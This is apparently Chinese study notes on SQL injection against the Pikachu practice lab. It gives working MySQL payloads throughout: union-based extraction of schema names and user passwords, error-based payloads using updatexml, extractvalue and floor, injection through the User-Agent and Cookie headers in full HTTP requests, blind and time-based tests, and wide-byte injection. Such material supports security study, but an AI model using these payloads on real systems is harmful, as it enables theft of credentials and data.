数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入 点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
自动探测:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手动构造sql inject测试语句进行注入点发现
通过注入点取期望得到的数据
获取操作系统权限:通过数据库执行shell,上传木马
user_id=$id
在字符类型的时候可以之间输入单引号,会有报错弹出
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
user_id='$id'
text LIKE '%{$_GET['search']}%'"
查询的逻辑
id=_POST['id']
select 字段1,字段2 from 表名 where id = 1 ;
但是可以在id =1后面加上 or 1=1;整个语句
select 字段1,字段2 from 表名 where id = 1 or 1 = 1;
选择id = 1
如果后面加上or 1 = 1
就把这个表所有的信息都展示出来了
查询的逻辑
id=_POST['username']
select 字段1,字段2 from 表名 where username = '' ;
在这里如果是之前的输入
kobe or 1=1不能够遍历整个表原因是因为 select 字段1,字段2 from 表名 where username = 'kobe or 1=1' ;
所有1 = 1 不能生效,原因是被单引号进行 了封闭,我们可以闭合这个语句使用单引号闭合前面的内容,使用#把后面的单引号屏蔽 select 字段1,字段2 from 表名 where username = 'kobe' or 1=1#';
得到结果
搜索的逻辑
$name = $_GET['username']
select * from 表 where username like '%name%';
在这里输入的字符在%%之间,需要进行闭合,可以'%kobe%' or 1=1#'
输入kobe%' or 1=1#
可以进行获取全部的数据
xx型的逻辑
$xx = $_GET['username']
select * from 表 where username like = ('%xx%');
在这里输入的字符在=(‘xx’)之间,需要进行闭合,可以=('kobe') or 1=1#' )
输入kobe') or 1=1#' )
可以进行获取全部 的数据
不管什么型都是对SQL的各种类型的输入进行闭合测试,构建合法SQL,欺骗后台执行!因为在SQL注入测试中, 需要对多余的内容进行注释,以保证SQL语句语法正确,MySQL支持3种注释
用法举例:
select username,password from user where id=1 unio select 字段1,字段2 from 表名 联合查询的字段数需 要和主查询一致
由于联合查询的字段数需要和主查询一致所以需要判断查询字段的个数,可以使用 order by 数字进行测试 如果by 后面的数字不正确数据库就会显示不正确 如果正确就会显示规定的报错
通过union这个组合可以得到很多信息,比如数据库名,账户,数据库版本等 union select database(),user(),version()#
kobe%' union select database(),user()#
补充:在mysql 自带的information_schem这个表里面存放了大量的重要信息。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引 擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是 非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准 表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标 准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此 表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数 (UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
kob' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
kob' union select table_name,column_name from information_schema.columns where table_name='users'#
kod' union select username,password from users#
常用的报错函数
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
kod' and updatexml(1,concat(0x7e,version()),0)#
中间的version()也可以使用select函数
比如获取密码
kod' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
extractvalue():函数也是MYSQL对文档数据进行查询的XPATH函数 ExtractValue(xml_document,xpath_string)
Xpath定位必须是有效的,否则会发生错误
kod' and extractValue(0,concat(0x7e,version()))#
floor() :MYSQL中用来取整的函数
kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
insert和updata逻辑
insert into member(username,pw,sex,phonenum,email,address) values('xxxxx',11111,1,2,3,4)
可以通过注入
ka' or updatexml(1,concat(0x7e,version()),0) or'
得到需要的信息
窃取删除的数据包
GET /pikachu/vul/sqli/sqli_del.php?id=71 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/pikachu/vul/sqli/sqli_del.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ectb03beu2qsgb9ja1rmfjil53
Connection: close
在GET /pikachu/vul/sqli/sqli_del.php?id=72 HTTP/1.1
需要在id=72后面加上需要攻击的语句+or+updatexml(1,concat(0x7e,version()),0)
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header 头信息获取客户 端的一些信息,比如useragent、accept字段,如果没有针对SQL语句进行处理,就容易尝试SQL漏洞
在请求的时候
GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Referer: http://127.0.0.1/pikachu/vul/sqli/sqli_header/sqli_header_login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ectb03beu2qsgb9ja1rmfjil53
Connection: close
把User-Agent的部分修改为注入的地方
User-Agent: ka' or updatexml(1,concat(0x7e,version()),0) or '
在cookie的地方也可以进行注入
Cookie: ant[uname]=admin' and updatexml(1,concat(0x7e,version()),0)#; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;
有些时候,后台使用了错误的消息屏蔽方法,这个时候无法通过错误消息来判断报错信息来进行注入的判断,所以 根据表现形式不同,盲注有可以使用based boolean和based time两种方式
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(只有0和1)
2.在正确的输入下,输入and 1=1/and 1=2发现可以判断
通过自动化工具,进行测试获取不同的
通过判断后台处理的时间进行判断
通过 kai’ and sleep(5) #
如果数据时间比较5s的话就是存在漏洞 kai' and if((substr(database(),1,1))='a',sleep(5),null)#
前提条件:
kode‘ and exists(select * from aa )#
kode‘ and exists(select id from users )#
宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码
1%df' or 1=1#
https://blog.csdn.net/bylfsj/article/details/101218344